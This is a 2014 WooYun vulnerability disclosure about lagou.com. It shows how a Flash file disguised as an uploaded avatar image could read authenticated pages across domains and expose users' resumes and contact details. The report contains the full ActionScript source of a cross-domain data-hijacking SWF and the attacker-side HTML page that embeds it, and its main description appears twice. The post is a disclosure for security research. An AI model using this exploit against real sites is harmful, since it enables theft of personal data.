当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079222

漏洞标题:拉勾网某处问题导致其他用户简历可被下载(可获得Token等敏感数据)

相关厂商:lagou.com

漏洞作者: 0x_Jin

提交时间:2014-10-13 18:53

修复时间:2014-11-27 18:54

公开时间:2014-11-27 18:54

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-13: 细节已通知厂商并且等待厂商处理中
2014-10-14: 厂商已经确认,细节仅向厂商公开
2014-10-24: 细节向核心白帽子及相关领域专家公开
2014-11-03: 细节向普通白帽子公开
2014-11-13: 细节向实习白帽子公开
2014-11-27: 细节向公众公开

简要描述:

今天上着网看到个拉勾网的照片,招人啊!!!月薪40K啊!!!!这我等屌丝只能去拉勾网的网站感受下40K月薪的气氛了,然后就发现点问题了^ _ ^

详细说明:

首先在lagou.com 注册个用户!
然后上传个头像:

QQ20141013-1.png


可以发现头像的图破了,那么这个头像是什么呢。是一个flash的csrf文件改名为jpg了!
小涛问:为什么不用swf的后缀名呢?
杜老师:我也想啊,可是你见过头像等传图片的位置能传swf?
看看flash的代码:

package com.powerflasher.SampleApp {
import flash.external.ExternalInterface;
import flash.display.Sprite;
import flash.display.Sprite;
import flash.events.Event;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.text.TextField;
import flash.text.TextFieldAutoSize;
import flash.xml.*;
import flash.events.IOErrorEvent;
import flash.events.*;
import flash.net.*;
/**
* @author User
*/

public class CrossDomainDataHijack extends Sprite {

private var loader:URLLoader;
public function CrossDomainDataHijack() {
loader = new URLLoader();
configureListeners(loader);
var target:String = root.loaderInfo.parameters.input;

var request:URLRequest = new URLRequest(target);
try {
loader.load(request);
} catch (error:Error) {
sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());
}
}
private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
dispatcher.addEventListener(Event.OPEN, openHandler);
dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);
dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);
dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);
dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
}
private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
//trace("completeHandler: " + loader.data);
sendDatatoJS("completeHandler: " + loader.data);
}
private function openHandler(event:Event):void {
//trace("openHandler: " + event);
sendDatatoJS("openHandler: " + event);
}
private function progressHandler(event:ProgressEvent):void {
//trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
}
private function securityErrorHandler(event:SecurityErrorEvent):void {
//trace("securityErrorHandler: " + event);
sendDatatoJS("securityErrorHandler: " + event);
}
private function httpStatusHandler(event:HTTPStatusEvent):void {
//trace("httpStatusHandler: " + event);
sendDatatoJS("httpStatusHandler: " + event);
}
private function ioErrorHandler(event:IOErrorEvent):void {
//trace("ioErrorHandler: " + event);
sendDatatoJS("ioErrorHandler: " + event);
}

private function sendDatatoJS(data:String):void{
trace(data);
ExternalInterface.call("sendToJavaScript", data);
}
}
}


现在我们来看下这个图片是不是所有用户都可以查看,如果只能查看那就只能玩蛋了。。。
查看图片地址:

QQ20141013-2.png


看是否其他用户也能访问到:

QQ20141013-3.png


看来不用玩蛋了,现在我们来测试下能不能获得lagou.com任意页面的内容!
先获得一点需要用户权限的页面吧,比如个人简历设置的页面:

QQ20141013-4.png


就这个页面了,我们看能不能get到这个页面的源码:

QQ20141013-5.png


可以看到填入flash地址跟要GET的页面已经得到返回值了 包括手机号邮箱等等!
我们渲染出来看下:

QQ20141013-6.png


可以看到的确是我们的简历页面,在源码中还包含简历下载的链接:

QQ20141013-7.png


这个链接是可以任何人访问哦。。。。
测试链接:http://jsbin.com/ladujohifika/2
只要访问就会打印出 http://www.lagou.com/resume/preview.html 的内容

漏洞证明:

首先在lagou.com 注册个用户!
然后上传个头像:

QQ20141013-1.png


可以发现头像的图破了,那么这个头像是什么呢。是一个flash的csrf文件改名为jpg了!
小涛问:为什么不用swf的后缀名呢?
杜老师:我也想啊,可是你见过头像等传图片的位置能传swf?
看看flash的代码:

package com.powerflasher.SampleApp {
import flash.external.ExternalInterface;
import flash.display.Sprite;
import flash.display.Sprite;
import flash.events.Event;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.text.TextField;
import flash.text.TextFieldAutoSize;
import flash.xml.*;
import flash.events.IOErrorEvent;
import flash.events.*;
import flash.net.*;
/**
* @author User
*/

public class CrossDomainDataHijack extends Sprite {

private var loader:URLLoader;
public function CrossDomainDataHijack() {
loader = new URLLoader();
configureListeners(loader);
var target:String = root.loaderInfo.parameters.input;

var request:URLRequest = new URLRequest(target);
try {
loader.load(request);
} catch (error:Error) {
sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());
}
}
private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
dispatcher.addEventListener(Event.OPEN, openHandler);
dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);
dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);
dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);
dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
}
private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
//trace("completeHandler: " + loader.data);
sendDatatoJS("completeHandler: " + loader.data);
}
private function openHandler(event:Event):void {
//trace("openHandler: " + event);
sendDatatoJS("openHandler: " + event);
}
private function progressHandler(event:ProgressEvent):void {
//trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
}
private function securityErrorHandler(event:SecurityErrorEvent):void {
//trace("securityErrorHandler: " + event);
sendDatatoJS("securityErrorHandler: " + event);
}
private function httpStatusHandler(event:HTTPStatusEvent):void {
//trace("httpStatusHandler: " + event);
sendDatatoJS("httpStatusHandler: " + event);
}
private function ioErrorHandler(event:IOErrorEvent):void {
//trace("ioErrorHandler: " + event);
sendDatatoJS("ioErrorHandler: " + event);
}

private function sendDatatoJS(data:String):void{
trace(data);
ExternalInterface.call("sendToJavaScript", data);
}
}
}


现在我们来看下这个图片是不是所有用户都可以查看,如果只能查看那就只能玩蛋了。。。
查看图片地址:

QQ20141013-2.png


看是否其他用户也能访问到:

QQ20141013-3.png


看来不用玩蛋了,现在我们来测试下能不能获得lagou.com任意页面的内容!
先获得一点需要用户权限的页面吧,比如个人简历设置的页面:

QQ20141013-4.png


就这个页面了,我们看能不能get到这个页面的源码:

QQ20141013-5.png


可以看到填入flash地址跟要GET的页面已经得到返回值了 包括手机号邮箱等等!
我们渲染出来看下:

QQ20141013-6.png


可以看到的确是我们的简历页面,在源码中还包含简历下载的链接:

QQ20141013-7.png


这个链接是可以任何人访问哦。。。。
测试链接:http://jsbin.com/ladujohifika/2
只要访问就会打印出 http://www.lagou.com/resume/preview.html 的内容
测试页面代码:

<html>
<head><title>csrftest</title>
<script>
function sendToJavaScript(strData){
var theDiv = document.getElementById("HijackedData");
var content = document.createTextNode(strData);
theDiv.appendChild(content);
theDiv.innerHTML += '<br/>'
//alert(strData);
}
</script>
</head>
<body>
<div id=HijackedData></div>
<object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://www.lagou.comhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/headpic/93bf859ca67a4c7f9fb32a47a90560dd.jpg">
<param name="AllowScriptAccess" value="always">
<param name="flashvars" value="input=http://www.lagou.com/resume/preview.html">
</object>
</body>
</html>

修复方案:

你懂的~

版权声明:转载请注明来源 0x_Jin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-10-14 17:30

厂商回复:

感谢0x_Jin提供的漏洞信息~

最新状态:

暂无


漏洞评价:

评论

  1. 2014-10-15 17:35 | kydhzy ( 普通白帽子 | Rank:362 漏洞数:62 | 软件测试)

    看来等修复好漏洞后在投简历了。。。。

  2. 2014-11-27 18:57 | 带我玩 ( 路人 | Rank:12 漏洞数:6 | 带我玩)

    好黑.....表示能力有限..不明觉厉

  3. 2014-12-04 08:52 | 刘海哥 ( 普通白帽子 | Rank:114 漏洞数:28 | 索要联系方式但不送礼物的厂商定义为无良厂...)

    没看懂'不明觉厉